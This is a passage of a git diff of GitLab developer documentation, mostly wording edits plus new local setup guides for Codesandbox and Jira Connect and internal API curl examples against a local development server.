https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/image_scaling.md b/doc/development/image_scaling.md index 05f44209bc4..d447b6baf57 100644 --- a/doc/development/image_scaling.md +++ b/doc/development/image_scaling.md @@ -1,12 +1,12 @@ --- stage: Enablement group: Memory -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Image scaling guide -This section contains a brief overview of GitLab's image scaler and how to work with it. +This section contains a brief overview of the GitLab image scaler and how to work with it. For a general introduction to the history of image scaling at GitLab, you might be interested in [this Unfiltered blog post](https://about.gitlab.com/blog/2020/11/02/scaling-down-how-we-prototyped-an-image-scaler-at-gitlab/). diff --git a/doc/development/img/bulk_imports_overview_v13_7.png b/doc/development/img/bulk_imports_overview_v13_7.png Binary files differnew file mode 100644 index 00000000000..25c8685c390 --- /dev/null +++ b/doc/development/img/bulk_imports_overview_v13_7.png diff --git a/doc/development/img/each_batch_users_table_bad_index_v13_7.png b/doc/development/img/each_batch_users_table_bad_index_v13_7.png Binary files differnew file mode 100644 index 00000000000..dad3f37566a --- /dev/null +++ b/doc/development/img/each_batch_users_table_bad_index_v13_7.png diff --git a/doc/development/img/each_batch_users_table_filter_v13_7.png b/doc/development/img/each_batch_users_table_filter_v13_7.png Binary files differnew file mode 100644 index 00000000000..79fa1cdaf55 --- /dev/null +++ b/doc/development/img/each_batch_users_table_filter_v13_7.png diff --git a/doc/development/img/each_batch_users_table_filtered_index_v13_7.png b/doc/development/img/each_batch_users_table_filtered_index_v13_7.png Binary files differnew file mode 100644 index 00000000000..4fbe186ef28 --- /dev/null +++ b/doc/development/img/each_batch_users_table_filtered_index_v13_7.png diff --git a/doc/development/img/each_batch_users_table_good_index_v13_7.png b/doc/development/img/each_batch_users_table_good_index_v13_7.png Binary files differnew file mode 100644 index 00000000000..cae01d5bee8 --- /dev/null +++ b/doc/development/img/each_batch_users_table_good_index_v13_7.png diff --git a/doc/development/img/each_batch_users_table_iteration_1_v13_7.png b/doc/development/img/each_batch_users_table_iteration_1_v13_7.png Binary files differnew file mode 100644 index 00000000000..3dac195e8db --- /dev/null +++ b/doc/development/img/each_batch_users_table_iteration_1_v13_7.png diff --git a/doc/development/img/each_batch_users_table_iteration_2_v13_7.png b/doc/development/img/each_batch_users_table_iteration_2_v13_7.png Binary files differnew file mode 100644 index 00000000000..c0cc82f14c6 --- /dev/null +++ b/doc/development/img/each_batch_users_table_iteration_2_v13_7.png diff --git a/doc/development/img/each_batch_users_table_iteration_3_v13_7.png b/doc/development/img/each_batch_users_table_iteration_3_v13_7.png Binary files differnew file mode 100644 index 00000000000..c032924d3d7 --- /dev/null +++ b/doc/development/img/each_batch_users_table_iteration_3_v13_7.png diff --git a/doc/development/img/each_batch_users_table_iteration_4_v13_7.png b/doc/development/img/each_batch_users_table_iteration_4_v13_7.png Binary files differnew file mode 100644 index 00000000000..9ebd931d194 --- /dev/null +++ b/doc/development/img/each_batch_users_table_iteration_4_v13_7.png diff --git a/doc/development/img/each_batch_users_table_iteration_5_v13_7.png b/doc/development/img/each_batch_users_table_iteration_5_v13_7.png Binary files differnew file mode 100644 index 00000000000..3a5baeadaaf --- /dev/null +++ b/doc/development/img/each_batch_users_table_iteration_5_v13_7.png diff --git a/doc/development/img/each_batch_users_table_v13_7.png b/doc/development/img/each_batch_users_table_v13_7.png Binary files differnew file mode 100644 index 00000000000..2e8b3fdff80 --- /dev/null +++ b/doc/development/img/each_batch_users_table_v13_7.png diff --git a/doc/development/import_export.md b/doc/development/import_export.md index a73144abce6..fd795880d2d 100644 --- a/doc/development/import_export.md +++ b/doc/development/import_export.md @@ -1,7 +1,7 @@ --- stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Import/Export development documentation @@ -42,7 +42,7 @@ SIDEKIQ_MEMORY_KILLER_HARD_LIMIT_RSS = 3000000 SIDEKIQ_MEMORY_KILLER_GRACE_TIME = 900 ``` -An import status `started`, and the following Sidekiq logs will signal a memory issue: +An import status `started`, and the following Sidekiq logs signal a memory issue: ```shell WARN: Work still in progress <struct with JID> @@ -218,7 +218,7 @@ for compatibility when importing and exporting projects. ### When to bump the version up -We will have to bump the version if we rename model/columns or perform any format +If we rename model/columns or perform any format, we need to bump the version modifications in the JSON structure or the file structure of the archive file. We do not need to bump the version up in any of the following cases: @@ -227,7 +227,7 @@ We do not need to bump the version up in any of the following cases: - Remove a column or model (unless there is a DB constraint) - Export new things (such as a new type of upload) -Every time we bump the version, the integration specs will fail and can be fixed with: +Every time we bump the version, the integration specs fail and can be fixed with: ```shell bundle exec rake gitlab:import_export:bump_version @@ -355,7 +355,7 @@ The tools to generate the NDJSON tree from the human-readable JSON files live in **Please use `legacy-project-json-to-ndjson.sh` to generate the NDJSON tree.** -The NDJSON tree will look like this: +The NDJSON tree looks like: ```shell tree @@ -389,7 +389,7 @@ tree **Please use `legacy-group-json-to-ndjson.rb` to generate the NDJSON tree.** -The NDJSON tree will look like this: +The NDJSON tree looks like this: ```shell tree @@ -413,5 +413,5 @@ tree └── 4352.json ``` -CAUTION: **Caution:** +WARNING: When updating these fixtures, please ensure you update both `json` files and `tree` folder, as the tests apply to both. diff --git a/doc/development/import_project.md b/doc/development/import_project.md index 8b27b7d28a5..dfe6153ad45 100644 --- a/doc/development/import_project.md +++ b/doc/development/import_project.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Test Import Project @@ -23,13 +23,13 @@ The first option is to simply [import the Project tarball file via the GitLab UI It should take up to 15 minutes for the project to fully import. You can head to the project's main page for the current status. -This method ignores all the errors silently (including the ones related to `GITALY_DISABLE_REQUEST_LIMITS`) and is used by GitLab's users. For development and testing, check the other methods below. +This method ignores all the errors silently (including the ones related to `GITALY_DISABLE_REQUEST_LIMITS`) and is used by GitLab users. For development and testing, check the other methods below. ### Importing via the `import-project` script A convenient script, [`bin/import-project`](https://gitlab.com/gitlab-org/quality/performance/blob/master/bin/import-project), is provided with [performance](https://gitlab.com/gitlab-org/quality/performance) project to import the Project tarball into a GitLab environment via API from the terminal. -Note that to use the script, it will require some preparation if you haven't done so already: +Note that to use the script, it requires some preparation if you haven't done so already: 1. First, set up [`Ruby`](https://www.ruby-lang.org/en/documentation/installation/) and [`Ruby Bundler`](https://bundler.io) if they aren't already available on the machine. 1. Next, install the required Ruby Gems via Bundler with `bundle install`. @@ -40,7 +40,7 @@ For details how to use `bin/import-project`, run: bin/import-project --help ``` -The process should take up to 15 minutes for the project to import fully. The script will keep checking periodically for the status and exit once import has completed. +The process should take up to 15 minutes for the project to import fully. The script checks the status periodically and exits after the import has completed. ### Importing via GitHub @@ -49,7 +49,7 @@ There is also an option to [import the project via GitHub](../user/project/impor 1. Create the group `qa-perf-testing` 1. Import the GitLab FOSS repository that's [mirrored on GitHub](https://github.com/gitlabhq/gitlabhq) into the group via the UI. -This method will take longer to import than the other methods and will depend on several factors. It's recommended to use the other methods. +This method takes longer to import than the other methods and depends on several factors. It's recommended to use the other methods. ### Importing via a Rake task @@ -94,7 +94,7 @@ The `namespace_path` does not exist. For example, one of the groups or subgroups is mistyped or missing or you've specified the project name in the path. -The task will only create the project. +The task only creates the project. If you want to import it to a new group or subgroup then create it first. ##### `Exception: No such file or directory @ rb_sysopen - (filename)` @@ -118,8 +118,8 @@ with '-', end in '.git' or end in '.atom' The project name specified in `project_path` is not valid for one of the specified reasons. -Only put the project name in `project_path`. If, for example, you put a path of subgroups in there -it will fail with this error as `/` is not a valid character in a project name. +Only put the project name in `project_path`. For example, if you provide a path of subgroups +it fails with this error as `/` is not a valid character in a project name. ##### `Name has already been taken and Path has already been taken` @@ -190,7 +190,7 @@ For Performance testing, we should: - Count the number of executed SQL queries during the restore. - Observe the number of GC cycles happening. -You can use this snippet: `https://gitlab.com/gitlab-org/gitlab/snippets/1924954` (must be logged in), which will restore the project, and measure the execution time of `Project::TreeRestorer`, number of SQL queries and number of GC cycles happening. +You can use this snippet: `https://gitlab.com/gitlab-org/gitlab/snippets/1924954` (must be logged in), which restores the project, and measures the execution time of `Project::TreeRestorer`, number of SQL queries and number of GC cycles happening. You can execute the script from the `gdk/gitlab` directory like this: @@ -200,7 +200,7 @@ bundle exec rails r /path_to_sript/script.rb project_name /path_to_extracted_pr ## Troubleshooting -In this section we'll detail any known issues we've seen when trying to import a project and how to manage them. +This section details known issues we've seen when trying to import a project and how to manage them. ### Gitaly calls error when importing diff --git a/doc/development/insert_into_tables_in_batches.md b/doc/development/insert_into_tables_in_batches.md index 5fe37a95b59..cfa0c862471 100644 --- a/doc/development/insert_into_tables_in_batches.md +++ b/doc/development/insert_into_tables_in_batches.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments description: "Sometimes it is necessary to store large amounts of records at once, which can be inefficient when iterating collections and performing individual `save`s. With the arrival of `insert_all` in Rails 6, which operates at the row level (that is, using `Hash`es), GitLab has added a set @@ -101,7 +101,7 @@ performance impact this might have on your code. There is a trade-off between th ### Handling duplicate records -NOTE: **Note:** +NOTE: This parameter applies only to `bulk_insert!`. If you intend to update existing records, use `bulk_upsert!` instead. diff --git a/doc/development/instrumentation.md b/doc/development/instrumentation.md index bdbcd52eb61..8fb7f29c86c 100644 --- a/doc/development/instrumentation.md +++ b/doc/development/instrumentation.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Instrumenting Ruby code @@ -11,7 +11,7 @@ blocks of Ruby code. Method instrumentation is the primary form of instrumentation with block-based instrumentation only being used when we want to drill down to specific regions of code within a method. -Please refer to [Product Analytics](product_analytics/index.md) if you are tracking product usage patterns. +Please refer to [Product Analytics](https://about.gitlab.com/handbook/product/product-analytics-guide/) if you are tracking product usage patterns. ## Instrumenting Methods @@ -19,13 +19,14 @@ Instrumenting methods is done by using the `Gitlab::Metrics::Instrumentation` module. This module offers a few different methods that can be used to instrument code: -- `instrument_method`: instruments a single class method. -- `instrument_instance_method`: instruments a single instance method. -- `instrument_class_hierarchy`: given a Class this method will recursively - instrument all sub-classes (both class and instance methods). -- `instrument_methods`: instruments all public and private class methods of a Module. -- `instrument_instance_methods`: instruments all public and private instance methods of a +- `instrument_method`: Instruments a single class method. +- `instrument_instance_method`: Instruments a single instance method. +- `instrument_class_hierarchy`: Given a Class, this method recursively + instruments all sub-classes (both class and instance methods). +- `instrument_methods`: Instruments all public and private class methods of a Module. +- `instrument_instance_methods`: Instruments all public and private instance + methods of a Module. To remove the need for typing the full `Gitlab::Metrics::Instrumentation` namespace you can use the `configure` class method. This method simply yields @@ -91,7 +92,7 @@ Ruby code. In case of the above snippet you'd run the following: - `$ Banzai::Renderer.render` -This will print out something along the lines of: +This prints a result similar to: ```plaintext From: /path/to/your/gitlab/lib/gitlab/metrics/instrumentation.rb @ line 148: @@ -131,7 +132,7 @@ Three values are measured for a block: Both the real and CPU timings are measured in milliseconds. -Multiple calls to the same block will result in the final values being the sum +Multiple calls to the same block results in the final values being the sum of all individual values. Take this code for example: ```ruby @@ -142,7 +143,7 @@ of all individual values. Take this code for example: end ``` -Here the final value of `sleep_real_time` will be `3`, _not_ `1`. +Here, the final value of `sleep_real_time` is `3`, and not `1`. ## Tracking Custom Events diff --git a/doc/development/integrations/codesandbox.md b/doc/development/integrations/codesandbox.md new file mode 100644 index 00000000000..1641f4656a0 --- /dev/null +++ b/doc/development/integrations/codesandbox.md @@ -0,0 +1,140 @@ +# Set up local Codesandbox development environment + +This guide walks through setting up a local [Codesandbox repository](https://github.com/codesandbox/codesandbox-client) and integrating it with a local GitLab instance. Codesandbox +is used to power the Web IDE's [Live Preview feature](../../user/project/web_ide/index.md#live-preview). Having a local Codesandbox setup is useful for debugging upstream issues or +creating upstream contributions like [this one](https://github.com/codesandbox/codesandbox-client/pull/5137). + +## Initial setup + +Before using Codesandbox with your local GitLab instance, you must: + +1. Enable HTTPS on your GDK. Codesandbox uses Service Workers that require `https`. + Follow the GDK [NGINX configuration instructions](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/howto/nginx.md) to enable HTTPS for GDK. +1. Clone the [`codesandbox-client` project](https://github.com/codesandbox/codesandbox-client) + locally. If you plan on contributing upstream, you might want to fork and clone first. +1. (Optional) Use correct `python` and `nodejs` versions. Otherwise, `yarn` may fail to + install or build some packages. If you're using `asdf` you can run the following commands: + + ```shell + asdf local nodejs 10.14.2 + asdf local python 2.7.18 + ``` + +1. Run the following commands in the `codesandbox-client` project checkout: + + ```shell + # This might be necessary for the `prepublishOnly` job that is run later + yarn global add lerna + + # Install packages + yarn + ``` + + You can run `yarn build:clean` to clean up the build assets. + +## Use local GitLab instance with local Codesandbox + +GitLab integrates with two parts of Codesandbox: + +- An NPM package called `smooshpack` (called `sandpack` in the `codesandbox-client` project). + This exposes an entrypoint for us to kick off Codesandbox's bundler. +- A server that houses Codesandbox assets for bundling and previewing. This is hosted + on a separate server for security. + +Each time you want to run GitLab and Codesandbox together, you need to perform the +steps in the following sections. + +### Use local `smooshpack` for GitLab + +GitLab usually satisfies its `smooshpack` dependency with a remote module, but we want +to use a locally-built module. To build and use a local `smooshpack` module: + +1. In the `codesandbox-client` project directory, run: + + ```shell + cd standalone-packages/sandpack + yarn link + + # (Optional) you might want to start a development build + yarn run start + ``` + + Now, in the GitLab project, you can run `yarn link "smooshpack"`. `yarn` looks + for `smooshpack` **on disk** as opposed to the one hosted remotely. + +1. In the `gitlab` project directory, run: + + ```shell + # Remove and reinstall node_modules just to be safe + rm -rf node_modules + yarn install + + # Use the "smooshpack" package on disk + yarn link "smooshpack" + ``` + +### Fix possible GDK webpack problem + +`webpack` in GDK can fail to find packages inside a linked package. This step can help +you avoid `webpack` breaking with messages saying that it can't resolve packages from +`smooshpack/dist/sandpack.es5.js`. + +In the `codesandbox-client` project directory, run: + +```shell +cd standalone-packages + +mkdir node_modules +ln -s $PATH_TO_LOCAL_GITLAB/node_modules/core-js ./node_modules/core-js +``` + +### Start building codesandbox app assets + +In the `codesandbox-client` project directory: + +```shell +cd packages/app + +yarn start:sandpack-sandbox +``` + +### Create HTTPS proxy for Codesandbox `sandpack` assets + +Because we need `https`, we need to create a proxy to the webpack server. We can use +[`http-server`](https://www.npmjs.com/package/http-server), which can do this proxying +out of the box: + +```shell +npx http-server --proxy http://localhost:3000 -S -C $PATH_TO_CERT_PEM -K $PATH_TO_KEY_PEM -p 8044 -d false +``` + +### Update `bundler_url` setting in GitLab + +We need to update our `application_setting_implementation.rb` to point to the server that hosts the +Codesandbox `sandpack` assets. For instance, if these assets are hosted by a server at `https://sandpack.local:8044`: + +```patch +diff --git a/app/models/application_setting_implementation.rb b/app/models/application_setting_implementation.rb +index 6eed627b502..1824669e881 100644 +--- a/app/models/application_setting_implementation.rb ++++ b/app/models/application_setting_implementation.rb +@@ -391,7 +391,7 @@ def static_objects_external_storage_enabled? + # This will eventually be configurable + # https://gitlab.com/gitlab-org/gitlab/issues/208161 + def web_ide_clientside_preview_bundler_url +- 'https://sandbox-prod.gitlab-static.net' ++ 'https://sandpack.local:8044' + end + + private + +``` + +NOTE: +You can apply this patch by copying it to your clipboard and running `pbpaste | git apply`. + +You'll might want to restart the GitLab Rails server after making this change: + +```shell +gdk restart rails-web +``` diff --git a/doc/development/integrations/img/copy_cookies.png b/doc/development/integrations/img/copy_cookies.png Binary files differnew file mode 100644 index 00000000000..21575987173 --- /dev/null +++ b/doc/development/integrations/img/copy_cookies.png diff --git a/doc/development/integrations/img/copy_curl.png b/doc/development/integrations/img/copy_curl.png Binary files differnew file mode 100644 index 00000000000..9fa871efbd5 --- /dev/null +++ b/doc/development/integrations/img/copy_curl.png diff --git a/doc/development/integrations/example_vuln.png b/doc/development/integrations/img/example_vuln.png Binary files differindex bbfeb3c805f..bbfeb3c805f 100644 --- a/doc/development/integrations/example_vuln.png +++ b/doc/development/integrations/img/example_vuln.png diff --git a/doc/development/integrations/jenkins.md b/doc/development/integrations/jenkins.md index d81dee94f17..c87b15e192a 100644 --- a/doc/development/integrations/jenkins.md +++ b/doc/development/integrations/jenkins.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # How to run Jenkins in development environment (on macOS) **(STARTER)** @@ -56,7 +56,8 @@ For more details, see [GitLab documentation about Jenkins CI](../../integration/ ## Configure Jenkins Project -Set up the Jenkins project you're going to run your build on. A **Freestyle** project is the easiest option because the Jenkins plugin will update the build status on GitLab. In a **Pipeline** project, updating the status on GitLab needs to be configured in a script. +Set up the Jenkins project to run your build on. A **Freestyle** project is the easiest +option because the Jenkins plugin updates the build status on GitLab. In a **Pipeline** project, updating the status on GitLab needs to be configured in a script. 1. On your Jenkins instance, go to **New Item**. 1. Pick a name, choose **Freestyle** or **Pipeline** and click **ok**. @@ -97,4 +98,5 @@ To activate the Jenkins service you must have a Starter subscription or higher. ## Test your setup -Make a change in your repository and open an MR. In your Jenkins project it should have triggered a new build and on your MR, there should be a widget saying **Pipeline #NUMBER passed**. It will also include a link to your Jenkins build. +Make a change in your repository and open an MR. In your Jenkins project it should have triggered a new build and on your MR, there should be a widget saying **Pipeline #NUMBER passed**. +It should also include a link to your Jenkins build. diff --git a/doc/development/integrations/jira_connect.md b/doc/development/integrations/jira_connect.md index 66a93f8c947..408b0e6068e 100644 --- a/doc/development/integrations/jira_connect.md +++ b/doc/development/integrations/jira_connect.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Set up a development environment @@ -47,3 +47,37 @@ To install the app in Jira: You can also click **Getting Started** to open the configuration page rendered from your GitLab instance. _Note that any changes to the app descriptor requires you to uninstall then reinstall the app._ + +### Troubleshooting + +If the app install failed, you might need to delete `jira_connect_installations` from your database. + +1. Open the [database console](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/howto/postgresql.md#access-postgresql). +1. Run `TRUNCATE TABLE jira_connect_installations CASCADE;`. + +## Add a namespace + +To add a [namespace](../../user/group/index.md#namespaces) to Jira: + +1. Make sure you are logged in on your GitLab development instance. +1. On the GitLab app page in Jira, click **Get started**. +1. Open your browser's developer tools and navigate to the **Network** tab. +1. Try to add the namespace in Jira. +1. If the request fails with 401 "not authorized", copy the request as a cURL command + and paste it in your terminal. + +  + +1. Go to your development instance (usually at: <http://localhost:3000>), open developer + tools, navigate to the Network tab and reload the page. +1. Copy all cookies from the first request. + +  + +1. Append the cookies to the cURL command in your terminal: + `--cookies "<cookies from the request>"`. +1. Submit the cURL request. +1. If the response is `{"success":true}`, the namespace was added. +1. Append the cookies to the cURL command in your terminal `--cookies "PASTE COOKIES HERE"`. +1. Submit the cURL request. +1. If the response is `{"success":true}` the namespace was added. diff --git a/doc/development/integrations/secure.md b/doc/development/integrations/secure.md index 9bb92709d54..fb9d894d203 100644 --- a/doc/development/integrations/secure.md +++ b/doc/development/integrations/secure.md @@ -1,7 +1,7 @@ --- stage: Protect group: Container Security -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Security scanner integration @@ -82,9 +82,9 @@ mysec_sast: sast: gl-sast-report.json ``` -Note that `gl-sast-report.json` is an example file path but any other file name can be used. See +Note that `gl-sast-report.json` is an example file path but any other filename can be used. See [the Output file section](#output-file) for more details. It's processed as a SAST report because -it's declared under the `reports:sast` key in the job definition, not because of the file name. +it's declared under the `reports:sast` key in the job definition, not because of the filename. ### Policies @@ -207,17 +207,17 @@ given by the `CI_PROJECT_DIR` environment variable. It is recommended to name the output file after the type of scanning, and to use `gl-` as a prefix. Since all Secure reports are JSON files, it is recommended to use `.json` as a file extension. -For instance, a suggested file name for a Dependency Scanning report is `gl-dependency-scanning.json`. +For instance, a suggested filename for a Dependency Scanning report is `gl-dependency-scanning.json`. The [`artifacts:reports`](../../ci/pipelines/job_artifacts.md#artifactsreports) keyword of the job definition must be consistent with the file path where the Security report is written. For instance, if a Dependency Scanning analyzer writes its report to the CI project directory, -and if this report file name is `depscan.json`, +and if this report filename is `depscan.json`, then `artifacts:reports:dependency_scanning` must be set to `depscan.json`. ### Exit code -Following the POSIX exit code standard, the scanner will exit with 0 for success and any number from 1 to 255 for anything else. +Following the POSIX exit code standard, the scanner exits with 0 for success and any number from 1 to 255 for anything else. Success also includes the case when vulnerabilities are found. When executing a scanning job using the [Docker-in-Docker privileged mode](../../user/application_security/sast/index.md#requirements), @@ -324,7 +324,7 @@ whereas the `message` may repeat the location. As a visual example, this screenshot highlights where these fields are used when viewing a vulnerability as part of a pipeline view. - + For instance, a `message` for a vulnerability reported by Dependency Scanning gives information on the vulnerable dependency, @@ -397,7 +397,9 @@ Not all vulnerabilities have CVEs, and a CVE can be identified multiple times. A isn't a stable identifier and you shouldn't assume it as such when tracking vulnerabilities. The maximum number of identifiers for a vulnerability is set as 20. If a vulnerability has more than 20 identifiers, -the system will save only the first 20 of them. +the system saves only the first 20 of them. Note that vulnerabilities in the [Pipeline +Security](../../user/application_security/security_dashboard/#pipeline-security) +tab do not enforce this limit and all identifiers present in the report artifact are displayed. ### Location diff --git a/doc/development/integrations/secure_partner_integration.md b/doc/development/integrations/secure_partner_integration.md index 52d10f0bd3c..80f632639ca 100644 --- a/doc/development/integrations/secure_partner_integration.md +++ b/doc/development/integrations/secure_partner_integration.md @@ -1,13 +1,13 @@ --- stage: Secure group: Static Analysis -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Secure Partner Integration - Onboarding Process If you want to integrate your product with the [Secure Stage](https://about.gitlab.com/direction/secure/), -this page will help you understand the developer workflow GitLab intends for +this page describes the developer workflow GitLab intends for our users to follow with regards to security results. These should be used as guidelines so you can build an integration that fits with the workflow GitLab users are already familiar with. @@ -19,7 +19,7 @@ integration as well as linking to more detailed resources for how to do so. ## Integration Tiers -GitLab's security offerings are designed for GitLab Gold and GitLab Ultimate users, and the +The security offerings in GitLab are designed for GitLab Gold and GitLab Ultimate users, and the [DevSecOps](https://about.gitlab.com/handbook/use-cases/#4-devsecops-shift-left-security) use case. All the features are in those tiers. This includes the APIs and standard reporting framework needed to provide a consistent experience for users to easily bring their preferred @@ -29,7 +29,7 @@ tiers so that we can provide the most value to our mutual customers. ## What is the GitLab Developer Workflow? This workflow is how GitLab users interact with our product and expect it to -function. Understanding how users use GitLab today will help you choose the +function. Understanding how users use GitLab today helps you choose the best place to integrate your own product and its results into GitLab. - Developers want to write code without using a new tool to consume results @@ -99,9 +99,9 @@ and complete an integration with the Secure stage. - In the [Security Dashboard](../../user/application_security/security_dashboard/index.md) ([Dashboard data flow](https://gitlab.com/snippets/1910005#project-and-group-dashboards)). 1. Optional: Provide a way to interact with results as Vulnerabilities: - Users can interact with the findings from your artifact within their workflow. They can dismiss the findings or accept them and create a backlog issue. - - To automatically create issues without user interaction, use the [issue API](../../api/issues.md). This will be replaced by [Standalone Vulnerabilities](https://gitlab.com/groups/gitlab-org/-/epics/634) in the future. + - To automatically create issues without user interaction, use the [issue API](../../api/issues.md). 1. Optional: Provide auto-remediation steps: - - If you specified `remediations` in your artifact, it is proposed through our [auto-remediation](../../user/application_security/index.md#automatic-remediation-for-vulnerabilities) + - If you specified `remediations` in your artifact, it is proposed through our [automatic remediation](../../user/application_security/index.md#automatic-remediation-for-vulnerabilities) interface. 1. Demo the integration to GitLab: - After you have tested and are ready to demo your integration please @@ -112,7 +112,7 @@ and complete an integration with the Secure stage. to support your go-to-market as appropriate. - Examples of supported marketing could include being listed on our [Security Partner page](https://about.gitlab.com/partners/#security), doing an [Unfiltered blog post](https://about.gitlab.com/handbook/marketing/blog/unfiltered/), - doing a co-branded webinar, or producing a co-branded whitepaper. + doing a co-branded webinar, or producing a co-branded white paper. We have a [video playlist](https://www.youtube.com/playlist?list=PL05JrBw4t0KpMqYxJiOLz-uBIr5w-yP4A) that may be helpful as part of this process. This covers various topics related to integrating your diff --git a/doc/development/interacting_components.md b/doc/development/interacting_components.md index 87bbe30d9fd..50751dcc539 100644 --- a/doc/development/interacting_components.md +++ b/doc/development/interacting_components.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Developing against interacting components or features diff --git a/doc/development/internal_api.md b/doc/development/internal_api.md index e25feda356d..4971e4d629d 100644 --- a/doc/development/internal_api.md +++ b/doc/development/internal_api.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- @@ -25,7 +25,7 @@ To authenticate using that token, clients read the contents of that file, and include the token Base64 encoded in a `secret_token` parameter or in the `Gitlab-Shared-Secret` header. -NOTE: **Note:** +NOTE: The internal API used by GitLab Pages, and GitLab Kubernetes Agent Server (kas) uses JSON Web Token (JWT) authentication, which is different from GitLab Shell. @@ -60,7 +60,7 @@ POST /internal/allowed Example request: ```shell -curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded token>" --data "key_id=11&project=gnuwget/wget2&action=git-upload-pack&protocol=ssh" http://localhost:3001/api/v4/internal/allowed +curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded token>" --data "key_id=11&project=gnuwget/wget2&action=git-upload-pack&protocol=ssh" "http://localhost:3001/api/v4/internal/allowed" ``` Example response: @@ -108,7 +108,7 @@ information for LFS clients when the repository is accessed over SSH. Example request: ```shell -curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded token>" --data "key_id=11&project=gnuwget/wget2" http://localhost:3001/api/v4/internal/lfs_authenticate +curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded token>" --data "key_id=11&project=gnuwget/wget2" "http://localhost:3001/api/v4/internal/lfs_authenticate" ``` ```json @@ -141,7 +141,7 @@ GET /internal/authorized_keys Example request: ```shell -curl --request GET --header "Gitlab-Shared-Secret: <Base64 encoded secret>""http://localhost:3001/api/v4/internal/authorized_keys?key=<key as passed by OpenSSH>" +curl --request GET --header "Gitlab-Shared-Secret: <Base64 encoded secret>" "http://localhost:3001/api/v4/internal/authorized_keys?key=<key as passed by OpenSSH>" ``` Example response: @@ -242,7 +242,7 @@ GET /internal/two_factor_recovery_codes Example request: ```shell -curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "key_id=7" http://localhost:3001/api/v4/internal/two_factor_recovery_codes +curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "key_id=7" "http://localhost:3001/api/v4/internal/two_factor_recovery_codes" ``` Example response: @@ -289,7 +289,7 @@ POST /internal/personal_access_token Example request: ```shell -curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "user_id=29&name=mytokenname&scopes[]=read_user&scopes[]=read_repository&expires_at=2020-07-24" http://localhost:3001/api/v4/internal/personal_access_token +curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "user_id=29&name=mytokenname&scopes[]=read_user&scopes[]=read_repository&expires_at=2020-07-24" "http://localhost:3001/api/v4/internal/personal_access_token" ``` Example response: @@ -323,7 +323,7 @@ POST /internal/pre_receive Example request: ```shell -curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "gl_repository=project-7" http://localhost:3001/api/v4/internal/pre_receive +curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "gl_repository=project-7" "http://localhost:3001/api/v4/internal/pre_receive" ``` Example response: @@ -355,7 +355,7 @@ POST /internal/post_receive Example Request: ```shell -curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "gl_repository=project-7" --data 